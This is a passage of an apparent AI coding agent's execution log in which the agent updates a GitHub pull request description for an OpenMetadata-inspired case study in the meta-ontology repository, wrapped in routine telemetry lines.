Some(\"gAAAAABqUxM2dmFk3f14uwyBdL_EUX873k4-LP5sA3CLDc03ummtR_OkUETmg1i7GVIjFypwRTsKGNxJP49VCU5tSeAOcTmB0aUkSwOZ1J3djj67FvOJbSQaqOLWPF-inPCB01Mkxl7PWky--oM4xUnndqDZKPZS0FUn_OY3qjygQytKBHFLxXwS8yfhPlfVlwkq7scrjUMg4Qb4fsKeMv3o-Tuxv-eOGTmRYKaMgKX01sVFxe-n7-4L_WnghjpXep_j0mmHDpp-_kx5h29oflWjM7GZLNbyEGdihKLyZPr0i-sEmvc9RgvmAypVB7kPQFXx85OwL1Fmpx2_egt0VKynTMc4S7Gd2TtvlK5-ILkYdznwTi-1gWIaEAQwUymtETZbtvt3lbrypHRsUu96D5DRo2URTj4hCyYDf8Hd50Qg3Vu40xKEEMJPp8iH5cJEgGUJ4ASefUHzqCF6Ef1Y9t6ajpvdOJZ0jaMJOtlckA0pPzip_clDenSBODndKNE-X8SlEnNA-ulugH2p9RR-dMp1jTVvdmNQY3pvFjvkfEghBaZ-0oFMvLzgRYG-E-piRiDj4inT6LbdnmBNCzKCHRrR_U0xj-R5YJK2j1ASjFNSeOGiQYuETDdIzitshY1JlLn4r3a2p-x3vD7-IBMp3OqrceeHpiImCXawdkzub-1cJA4h4K9ieTvZn5EuAml5cLmbM50mrjQLyiogTiiPA1gitgh5AV_YV6GCkLGj8dMgckpCYDXXQ0eTc8NeSGtpWXfBFA1tgR68W46IBvBu6m093BLDC8PUaYEjdVdW1CBbPZTHLKMGS7InLUpWotoZvFNrQ0PecGFWXYJv2FWihPmomNbky0cR5IwjJ-luACQ0-ru3J-8_jEi5qTHsjIyF7KSP02Hd613cxf895-DfSI6VnCDqf9Aett6pTf4XmXNPcs8T88qpwgFkKQoxf306mCclewqWPFqF06U0E7AFAsWUzxkNphbpkiFGrAa6TtG2Ex670rAPTQHyLc-p5x6nX9-Tuif4yvPAoWzcqSsyveueBbEMTCRo6tnog86sFcDPIiRdy56yoXD83kyBBrFNOFnb-nN8BIVCLq1l_-oNNo-0yz2cXG_ZGrqhUWu7ZPE1nx4wEY9S62lwIR48xV4fzsnoaWGxv4OjJOQkb-OF1Ixgsw1Jo1Ahor7hBa0xQBY4Z8-UNV64AQ1lyJYB7D-Yf5oypNQ5q54a0JLr4T_osOUlQk7CZL-Hd1Apa0LC3RqYxRVkIOkYXcvqLHafEKfDZGggCms6iQ3pu4dDXfxwTr7SArVd0Ar6FZGK23onoRC-vFR8N0c_sF02GeMfAlJmNQ7iXscZRYhmI2Doqx3IFdmlcrb-TEVS-d93N0-FI734PSoRjGITsgJAMyyEzya5tLs0M1x_5Msa\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:22.660Z] [INFO] \n[2026-07-12T04:08:22.689Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_51\",\"type\":\"reasoning\",\"text\":\"**Fixing command body interpolation**\"}}\n[2026-07-12T04:08:22.689Z] [INFO] \n[2026-07-12T04:08:22.697Z] [INFO] 2026-07-12T04:08:22.697031Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a531336a4988191b4af1327f2232e37\"), status: Some(\"in_progress\"), call_id: \"call_a1AKAgaflh5lAPIeIRCJHq5w\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:22.697Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] 2026-07-12T04:08:34.253984Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const body=`## Summary\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] - Add a deep case study of transferable OpenMetadata architecture and governance practices.\n[2026-07-12T04:08:34.256Z] [INFO] - Preserve issue, PR, repository, and release observations under \\`docs/case-studies/issue-5/raw-data/\\`.\n[2026-07-12T04:08:34.256Z] [INFO] - Enumerate all explicit and implied requirements and map each to a solution.\n[2026-07-12T04:08:34.256Z] [INFO] - Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\n[2026-07-12T04:08:34.256Z] [INFO] - Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\n[2026-07-12T04:08:34.256Z] [INFO] - Remove the issue-solver placeholder and add a patch changelog fragment.\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] The central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] Fixes #5\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] ## Research method\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] Research was performed on 2026-07-12 using:\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] - all issue and PR comment/review API streams (all empty at collection time);\n[2026-07-12T04:08:34.256Z] [INFO] - the official OpenMetadata repository and latest release metadata;\n[2026-07-12T04:08:34.256Z] [INFO] - versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\n[2026-07-12T04:08:34.256Z] [INFO] - primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\n[2026-07-12T04:08:34.256Z] [INFO] - the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] Sources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] ## Deliverables\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] - \\`docs/case-studies/issue-5/README.md\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`docs/case-studies/issue-5/source-inventory.md\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`docs/case-studies/issue-5/openmetadata-analysis.md\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`docs/case-studies/issue-5/requirements-and-solutions.md\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`docs/case-studies/issue-5/raw-data/*.json\\`\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] ## Verification\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] - \\`cargo fmt --all -- --check\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`cargo test --all-features --verbose\\` \u2014 18 tests passed\n[2026-07-12T04:08:34.256Z] [INFO] - \\`cargo test --doc --verbose\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`cargo clippy --all-targets --all-features\\`\n[2026-07-12T04:08:34.256Z] [INFO] - \\`cargo run --quiet --bin meta-ontology -- check-words README.md\\`\n[2026-07-12T04:08:34.256Z] [INFO] - JSON snapshots parsed successfully\n[2026-07-12T04:08:34.256Z] [INFO] - \\`git diff --check\\`\n[2026-07-12T04:08:34.256Z] [INFO] - Reproduced \\`scripts/check-file-size.rs\\` logic directly because \\`rust-script\\` is unavailable locally; all Rust files are under 1,000 lines\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] ## Follow-up recommendation\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.256Z] [INFO] Begin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.`;\n[2026-07-12T04:08:34.256Z] [INFO] const sq=s=>\"'\"+s.replaceAll(\"'\",\"'\\\"'\\\"'\")+\"'\";\n[2026-07-12T04:08:34.256Z] [INFO] const cmd=`gh api repos/link-foundation/meta-ontology/pulls/6 -X PATCH -f body=${sq(body)} --jq '.html_url'`;\n[2026-07-12T04:08:34.256Z] [INFO] const r=await tools.exec_command({cmd,workdir:\"/tmp/gh-issue-solver-1783828904396\",yield_time_ms:30000,max_output_tokens:10000}); text(r.output);\n[2026-07-12T04:08:34.256Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:08:34.256Z] [INFO] \n[2026-07-12T04:08:34.268Z] [INFO] 2026-07-12T04:08:34.266072Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a531333730881919596ddec0b172be0\"\n[2026-07-12T04:08:34.268Z] [INFO] 2026-07-12T04:08:34.266108Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=76977 output_token_count=755 cached_token_count=75520 reasoning_token_count=75 tool_token_count=77732 ttft_ms=1160 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:34.266Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:34.268Z] [INFO] 2026-07-12T04:08:34.266127Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=76977 output_token_count=755 cached_token_count=75520 reasoning_token_count=75 tool_token_count=77732 ttft_ms=1160 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:34.266Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:34.268Z] [INFO] \n[2026-07-12T04:08:34.336Z] [INFO] 2026-07-12T04:08:34.335945Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-5194c2f0-33db-4d6e-a4d4-7cfd7df7d449 decision=approved source=Config event.timestamp=2026-07-12T04:08:34.335Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:34.336Z] [INFO] \n[2026-07-12T04:08:34.507Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_52\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api repos/link-foundation/meta-ontology/pulls/6 -X PATCH -f body='## Summary\\n\\n- Add a deep case study of transferable OpenMetadata architecture and governance practices.\\n- Preserve issue, PR, repository, and release observations under \\\"'`docs/case-studies/issue-5/raw-data/`.\\n- Enumerate all explicit and implied requirements and map each to a solution.\\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\\n- Remove the issue-solver placeholder and add a patch changelog fragment.\\n\\nThe central recommendation is to adopt OpenMetadata'\\\"'\\\\\\\"'\\\\\\\"'s contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\\n\\nFixes #5\\n\\n## Research method\\n\\nResearch was performed on 2026-07-12 using:\\n\\n- all issue and PR comment/review API streams (all empty at collection time);\\n- the official OpenMetadata repository and latest release metadata;\\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\\n\\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\\n\\n## Deliverables\\n\\n- \\\"'`docs/case-studies/issue-5/README.md`\\n- `docs/case-studies/issue-5/source-inventory.md`\\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\\n- `docs/case-studies/issue-5/raw-data/*.json`\\n\\n## Verification\\n\\n- `cargo fmt --all -- --check`\\n- `cargo test --all-features --verbose` \u2014 18 tests passed\\n- `cargo test --doc --verbose`\\n- `cargo clippy --all-targets --all-features`\\n- `cargo run --quiet --bin meta-ontology -- check-words README.md`\\n- JSON snapshots parsed successfully\\n- `git diff --check`\\n- Reproduced `scripts/check-file-size.rs` logic directly because `rust-script` is unavailable locally; all Rust files are under 1,000 lines\\n\\n## Follow-up recommendation\\n\\nBegin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.'\\\"' --jq '.html_url'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:08:34.507Z] [INFO] \n[2026-07-12T04:08:35.205Z] [INFO] 2026-07-12T04:08:35.204147Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-5194c2f0-33db-4d6e-a4d4-7cfd7df7d449 arguments={\"cmd\":\"gh api repos/link-foundation/meta-ontology/pulls/6 -X PATCH -f body='## Summary\\n\\n- Add a deep case study of transferable OpenMetadata architecture and governance practices.\\n- Preserve issue, PR, repository, and release observations under `docs/case-studies/issue-5/raw-data/`.\\n- Enumerate all explicit and implied requirements and map each to a solution.\\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\\n- Remove the issue-solver placeholder and add a patch changelog fragment.\\n\\nThe central recommendation is to adopt OpenMetadata'\\\"'\\\"'s contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\\n\\nFixes #5\\n\\n## Research method\\n\\nResearch was performed on 2026-07-12 using:\\n\\n- all issue and PR comment/review API streams (all empty at collection time);\\n- the official OpenMetadata repository and latest release metadata;\\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\\n\\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\\n\\n## Deliverables\\n\\n- `docs/case-studies/issue-5/README.md`\\n- `docs/case-studies/issue-5/source-inventory.md`\\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\\n- `docs/case-studies/issue-5/raw-data/*.json`\\n\\n## Verification\\n\\n- `cargo fmt --all -- --check`\\n- `cargo test --all-features --verbose` \u2014 18 tests passed\\n- `cargo test --doc --verbose`\\n- `cargo clippy --all-targets --all-features`\\n- `cargo run --quiet --bin meta-ontology -- check-words README.md`\\n- JSON snapshots parsed successfully\\n- `git diff --check`\\n- Reproduced `scripts/check-file-size.rs` logic directly because `rust-script` is unavailable locally; all Rust files are under 1,000 lines\\n\\n## Follow-up recommendation\\n\\nBegin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.' --jq '.html_url'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000} duration_ms=868 success=true output=Chunk ID: 1fde14\n[2026-07-12T04:08:35.205Z] [INFO] Wall time: 0.6979 seconds\n[2026-07-12T04:08:35.205Z] [INFO] Process exited with code 0\n[2026-07-12T04:08:35.205Z] [INFO] Original token count: 14\n[2026-07-12T04:08:35.205Z] [INFO] Output:\n[2026-07-12T04:08:35.205Z] [INFO] https://github.com/link-foundation/meta-ontology/pull/6\n[2026-07-12T04:08:35.205Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:35.204Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:35.205Z] [INFO] 2026-07-12T04:08:35.204480Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-5194c2f0-33db-4d6e-a4d4-7cfd7df7d449 duration_ms=868 success=true arguments_length=2727 output_length=159 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:35.204Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:35.205Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] 2026-07-12T04:08:35.220848Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_a1AKAgaflh5lAPIeIRCJHq5w arguments=const body=`## Summary\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] - Add a deep case study of transferable OpenMetadata architecture and governance practices.\n[2026-07-12T04:08:35.225Z] [INFO] - Preserve issue, PR, repository, and release observations under \\`docs/case-studies/issue-5/raw-data/\\`.\n[2026-07-12T04:08:35.225Z] [INFO] - Enumerate all explicit and implied requirements and map each to a solution.\n[2026-07-12T04:08:35.225Z] [INFO] - Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\n[2026-07-12T04:08:35.225Z] [INFO] - Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\n[2026-07-12T04:08:35.225Z] [INFO] - Remove the issue-solver placeholder and add a patch changelog fragment.\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] The central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] Fixes #5\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] ## Research method\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] Research was performed on 2026-07-12 using:\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] - all issue and PR comment/review API streams (all empty at collection time);\n[2026-07-12T04:08:35.225Z] [INFO] - the official OpenMetadata repository and latest release metadata;\n[2026-07-12T04:08:35.225Z] [INFO] - versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\n[2026-07-12T04:08:35.225Z] [INFO] - primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\n[2026-07-12T04:08:35.225Z] [INFO] - the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] Sources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] ## Deliverables\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] - \\`docs/case-studies/issue-5/README.md\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`docs/case-studies/issue-5/source-inventory.md\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`docs/case-studies/issue-5/openmetadata-analysis.md\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`docs/case-studies/issue-5/requirements-and-solutions.md\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`docs/case-studies/issue-5/raw-data/*.json\\`\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] ## Verification\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] - \\`cargo fmt --all -- --check\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`cargo test --all-features --verbose\\` \u2014 18 tests passed\n[2026-07-12T04:08:35.225Z] [INFO] - \\`cargo test --doc --verbose\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`cargo clippy --all-targets --all-features\\`\n[2026-07-12T04:08:35.225Z] [INFO] - \\`cargo run --quiet --bin meta-ontology -- check-words README.md\\`\n[2026-07-12T04:08:35.225Z] [INFO] - JSON snapshots parsed successfully\n[2026-07-12T04:08:35.225Z] [INFO] - \\`git diff --check\\`\n[2026-07-12T04:08:35.225Z] [INFO] - Reproduced \\`scripts/check-file-size.rs\\` logic directly because \\`rust-script\\` is unavailable locally; all Rust files are under 1,000 lines\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] ## Follow-up recommendation\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] Begin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.`;\n[2026-07-12T04:08:35.225Z] [INFO] const sq=s=>\"'\"+s.replaceAll(\"'\",\"'\\\"'\\\"'\")+\"'\";\n[2026-07-12T04:08:35.225Z] [INFO] const cmd=`gh api repos/link-foundation/meta-ontology/pulls/6 -X PATCH -f body=${sq(body)} --jq '.html_url'`;\n[2026-07-12T04:08:35.225Z] [INFO] const r=await tools.exec_command({cmd,workdir:\"/tmp/gh-issue-solver-1783828904396\",yield_time_ms:30000,max_output_tokens:10000}); text(r.output);\n[2026-07-12T04:08:35.225Z] [INFO]  duration_ms=942 success=true output=Script completed\n[2026-07-12T04:08:35.225Z] [INFO] Wall time 0.9 seconds\n[2026-07-12T04:08:35.225Z] [INFO] Output:\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.225Z] [INFO] https://github.com/link-foundation/meta-ontology/pull/6\n[2026-07-12T04:08:35.225Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:35.220Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:35.225Z] [INFO] 2026-07-12T04:08:35.220911Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_a1AKAgaflh5lAPIeIRCJHq5w duration_ms=942 success=true arguments_length=2831 output_length=104 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:35.220Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:35.225Z] [INFO] 2026-07-12T04:08:35.221137Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_a1AKAgaflh5lAPIeIRCJHq5w tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=943 total_duration_ms=943\n[2026-07-12T04:08:35.225Z] [INFO] \n[2026-07-12T04:08:35.296Z] [INFO] 2026-07-12T04:08:35.293028Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:08:35.296Z] [INFO] \n[2026-07-12T04:08:35.309Z] [INFO] 2026-07-12T04:08:35.309380Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:35.309Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:35.309Z] [INFO] \n[2026-07-12T04:08:35.313Z] [INFO] 2026-07-12T04:08:35.310176Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:35.310Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:35.313Z] [INFO] \n[2026-07-12T04:08:35.318Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_52\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api repos/link-foundation/meta-ontology/pulls/6 -X PATCH -f body='## Summary\\n\\n- Add a deep case study of transferable OpenMetadata architecture and governance 